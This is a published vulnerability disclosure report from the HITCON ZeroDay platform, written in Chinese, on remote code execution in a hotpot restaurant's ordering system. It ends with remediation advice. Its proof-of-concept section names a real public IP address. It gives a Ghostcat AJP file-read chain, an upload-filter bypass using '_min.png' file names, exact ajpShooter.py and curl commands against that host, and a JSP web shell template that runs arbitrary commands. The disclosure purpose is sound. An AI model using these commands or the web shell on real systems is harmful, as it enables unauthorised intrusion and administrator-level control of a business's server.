Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00975
- Vendor: 億品鍋有限公司
- Title: 億品鍋 成大勝利店 點餐系統RCE
- Introduction: 系統開放了危險的服務,並且未對使用者操作進行有效身分驗證,導致RCE。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2025/08/14 22:42:13 : 新提交 (由 Mars 更新此狀態)
- 2025/08/14 23:44:42 : 新提交 (由 Mars 更新此狀態)
- 2025/08/15 20:47:10 : 新提交 (由 Mars 更新此狀態)
- 2025/08/19 16:55:24 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/26 16:00:30 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/26 16:00:30 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/26 16:00:30 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/10/14 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-00975
- 通報者:marskung (Mars)
- 風險:嚴重
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
相關網址
59.126.124.120:80
59.126.124.120:8009
敘述
漏洞種類
億品鍋點餐系統存在Apache Tomcat AJP協議遠程代碼執行漏洞(CVE-2020-1938,也稱為Ghost Cat漏洞)。系統使用了過時的 tomcat 版本(6.0.35),並暴露了8009端口上的AJP服務,且未進行適當的存取控制,允許攻擊者未經身份驗證就能執行遠程代碼。
POC
使用 Nmap 掃描發現目標系統開放了8080、80、8009等 Port。
nmap -Pn -p 1-65535 59.126.124.120
Starting Nmap 7.95 ( https://nmap.org/ ) at 2025-08-11 10:27 CST
Nmap scan report for 59-126-124-120.hinet-ip.hinet.net (59.126.124.120)
Host is up (0.032s latency).
Not shown: 65519 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
6850/tcp open iccrushmore
7070/tcp open realserver
7680/tcp open pando-pub
8009/tcp open ajp13
8080/tcp open http-proxy
9012/tcp open unknown
9013/tcp open unknown
20933/tcp open unknown
32835/tcp open unknown
37526/tcp open unknown
54950/tcp open unknown
55536/tcp open unknown
56565/tcp open unknown
62885/tcp open unknown
64528/tcp open unknown
由 80 port 為 windows support 頁面得知使用之系統應為 windows。
由於 8009 port 為AJP,懷疑有 Ghost Cat漏洞。
查看 http://59.126.124.120:8080/docs/manager-howto.html,發現使用之tomcat為6.0.35,存在Ghost Cat 漏洞。
Ref:https://cnc.nptu.edu.tw/p/406-1007-106518,r870.php?Lang=zh-tw
利用 CVE-2020-1938 漏洞利用腳本,通過AJP協議存取伺服器中的檔案。
首先查看/WEB-INF/web.xml,發現伺服器應該正在運行一個檔案上傳的服務。
<servlet>
<servlet-name>UploadFileServlet</servlet-name>
<servlet-class>com.baiyi.order.servlet.UploadFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadFileServlet</servlet-name>
<url-pattern>/servlet/UploadFileServlet</url-pattern>
</servlet-mapping>
由於上xml已列出class位置,並且class應位於/WEB-INF/classes資料夾中,故直接存取/WEB-INF/classes/com/baiyi/order/servlet/UploadFileServlet.class。
透過jadx查看,發現伺服器會主動刪除結尾非.png的檔案,但由於8009 port 有 Ghost Cat 漏洞,所以對於檔名或副檔名的防禦作用可說是完全沒有。
if (fileName != null && fileName.toLowerCase().endsWith(".png")) {
//...
} else {
fi.delete();
}
但不知是意外還是有意為之,又發現若黨名中不含_min會啟動檔案自毀程序,留下空檔案。主因是new FileOutputStream(out)在遇到已存在檔案時的預設行為是複寫,會將檔案內容清空。這時,fin = new FileInputStream(in);存取到的東西就剩EOF,導致留下一個空檔案。
// ...
// 假設 file1 和 file2 都是指向 ".../a.png" 的路徑字串
File in = new File(file1);
File out = new File(file2);
// ...
FileInputStream fin = null;
FileOutputStream fout = null;
try {
if (in.isFile()) {
try {
fin = new FileInputStream(in); // 關鍵程式碼 2:【衝突點】
} catch (FileNotFoundException e) {
e.printStackTrace();
}
try {
fout = new FileOutputStream(out); // 關鍵程式碼 1:【毀滅點】
} catch (FileNotFoundException e2) {
e2.printStackTrace();
}
byte[] b = new byte[4096];
while (true) {
try {
// 此時 fin 試圖從已被清空的 a.png 讀取,會立刻得到 -1 (EOF)
int c = fin.read(b);
if (c > 0) {
fout.write(b, 0, c);
} else {
// 迴圈直接結束
fin.close();
fout.flush();
fout.close();
return true;
}
// ...
由上可知,只要上傳一個檔名內含_min並且結尾為.png的檔案就可以通過驗證,存入伺服器。
又由
private String uploadPath = String.valueOf(BeanUtil.path) + File.separator + "tempimag" + File.separator;
得知,上傳後文件應存放於/tmpimag/中。
故: 8080 port有一個提供檔案上傳的路徑,並有做檔名篩選,須符合.png結尾以及檔名內含_min。
接著嘗試隨意上傳一個內容只有a的檔案,發現可以正常閱讀。
接著上傳偽裝成png的jsp,並利用 ajpShooter.py 執行該png,
嘗試執行 hostname ,確認有回應。
執行 whoami /groups 發現目前是以管理員身分執行。
GROUP INFORMATION
-----------------
群組名稱 類型 SID 屬性
====================================== ========== ============ ====================================
BUILTIN\Administrators 別名 S-1-5-32-544 預設為啟用, 已啟用的群組, 群組擁有者
Everyone 知名的群組 S-1-1-0 強制性群組, 預設為啟用, 已啟用的群組
NT AUTHORITY\Authenticated Users 知名的群組 S-1-5-11 強制性群組, 預設為啟用, 已啟用的群組
Mandatory Label\System Mandatory Level 標籤 S-1-16-16384
執行 whoami /priv 發現使用者有多個危險權限,包含可能導致進一步提權至SYSTEM的SeImpersonatePrivilege,以及SeDebugPrivilege等。
特殊權限名稱 描述 狀況
========================================= ========================================== ======
SeAssignPrimaryTokenPrivilege 取代處理程序等級權杖 已停用
SeLockMemoryPrivilege 鎖定記憶體中的分頁 已啟用
SeIncreaseQuotaPrivilege 調整處理程序的記憶體配額 已停用
SeTcbPrivilege 當成作業系統的一部分 已啟用
SeSecurityPrivilege 管理稽核及安全性記錄檔 已停用
SeTakeOwnershipPrivilege 取得檔案或其他物件的擁有權 已停用
SeLoadDriverPrivilege 載入及解除載入裝置驅動程式 已停用
SeSystemProfilePrivilege 監視系統效能 已啟用
SeSystemtimePrivilege 變更系統時間 已停用
SeProfileSingleProcessPrivilege 監視單一處理程序 已啟用
SeIncreaseBasePriorityPrivilege 增加排程優先順序 已啟用
SeCreatePagefilePrivilege 建立分頁檔 已啟用
SeCreatePermanentPrivilege 建立永久共用物件 已啟用
SeBackupPrivilege 備份檔案及目錄 已停用
SeRestorePrivilege 還原檔案及目錄 已停用
SeShutdownPrivilege 關閉系統 已停用
SeDebugPrivilege 偵錯程式 已啟用
SeAuditPrivilege 產生安全性稽核 已啟用
SeSystemEnvironmentPrivilege 修改韌體環境值 已停用
SeChangeNotifyPrivilege 略過周遊檢查 已啟用
SeUndockPrivilege 從擴充座移除電腦 已停用
SeManageVolumePrivilege 執行磁碟區維護工作 已停用
SeImpersonatePrivilege 在驗證後模擬用戶端 已啟用
SeCreateGlobalPrivilege 建立通用物件 已啟用
SeIncreaseWorkingSetPrivilege 增加處理程序工作組 已啟用
SeTimeZonePrivilege 變更時區 已啟用
SeCreateSymbolicLinkPrivilege 建立符號連結 已啟用
SeDelegateSessionUserImpersonatePrivilege 為相同工作階段中的另一個使用者取得模擬權杖 已啟用
- Commands used
python3 ajpShooter.py http://59.126.124.120/ 8009 /tempimag/${filename}_min.png read #讀檔
python3 ajpShooter.py http://59.126.124.120/ 8009 /tempimag/${filename}_min.png eval #執行
curl -F "file=@${filename}_min.png" http://59.126.124.120:8080/servlet/UploadFileServlet #上傳
- .jsp template
<%@ page import="java.io.*" %>
<%
String cmd = "${command}";
Process p = Runtime.getRuntime().exec(cmd);
InputStream is = p.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(is));
String line;
out.println("<pre>");
while((line = br.readLine()) != null) {
out.println(line);
}
out.println("</pre>");
%>修補建議
### Tomcat AJP 漏洞
這是導致 RCE 的核心問題。有以下二種解決方案可選:
1. 升級 Tomcat 版本
目前的 Tomcat 6.0.35 版本過於老舊(發布於 2011 年),已停止官方支援,存在大量已知漏洞。建議立即將其升級至官方支援的最新穩定版本,並定期更新到最新版本。
2. 直接停用 AJP 服務
如果您的系統架構中並未使用 AJP 協議,最簡單且最有效的方法就是直接關閉 AJP 服務。
### 檔案上傳漏洞
這同是導致 RCE 的核心問題之一,目前的伺服器檔案上傳 api 缺乏有效驗證,需進行以下改善。
1. 不信任任何使用者提供的檔名。
在儲存檔案時,應由伺服器生成一個隨機的、唯一的檔名(例如 UUID),以防止攻擊者預測檔案上傳後的路徑。
2. 為上傳功能加入身分驗證
增加身分驗證(如 Token),避免未經授權的使用者上傳檔案。
### 其他
1. 最小權限原則
Tomcat 服務目前以 `BUILTIN\Administrators`(管理員)身分執行,並擁有多種會對系統造成致命傷害之特權,這是極度危險的配置。應為 Tomcat 建立一個低權限的專用服務帳號,限制其對檔案系統的讀寫權限,避免一旦被攻陷就直接取得最高權限。
2. 修正檔案上傳邏輯
如非特殊防禦,修復因檔名不含 _min 而導致檔案內容清空的 Bug。
3. 關閉非必要 port
伺服器目前開啟了高達16個 port,絕大多數都應該被關閉,以將潛在的攻擊來源降到最低。
4. 關閉預設頁面
伺服器開啟了80 port的微軟支援頁面,8080 port 中 `/docs/`的 tomcat 支援以及`/manager/` 的預設頁面,皆可能讓攻擊者更加確定版本而量身訂做一套方法進行攻擊。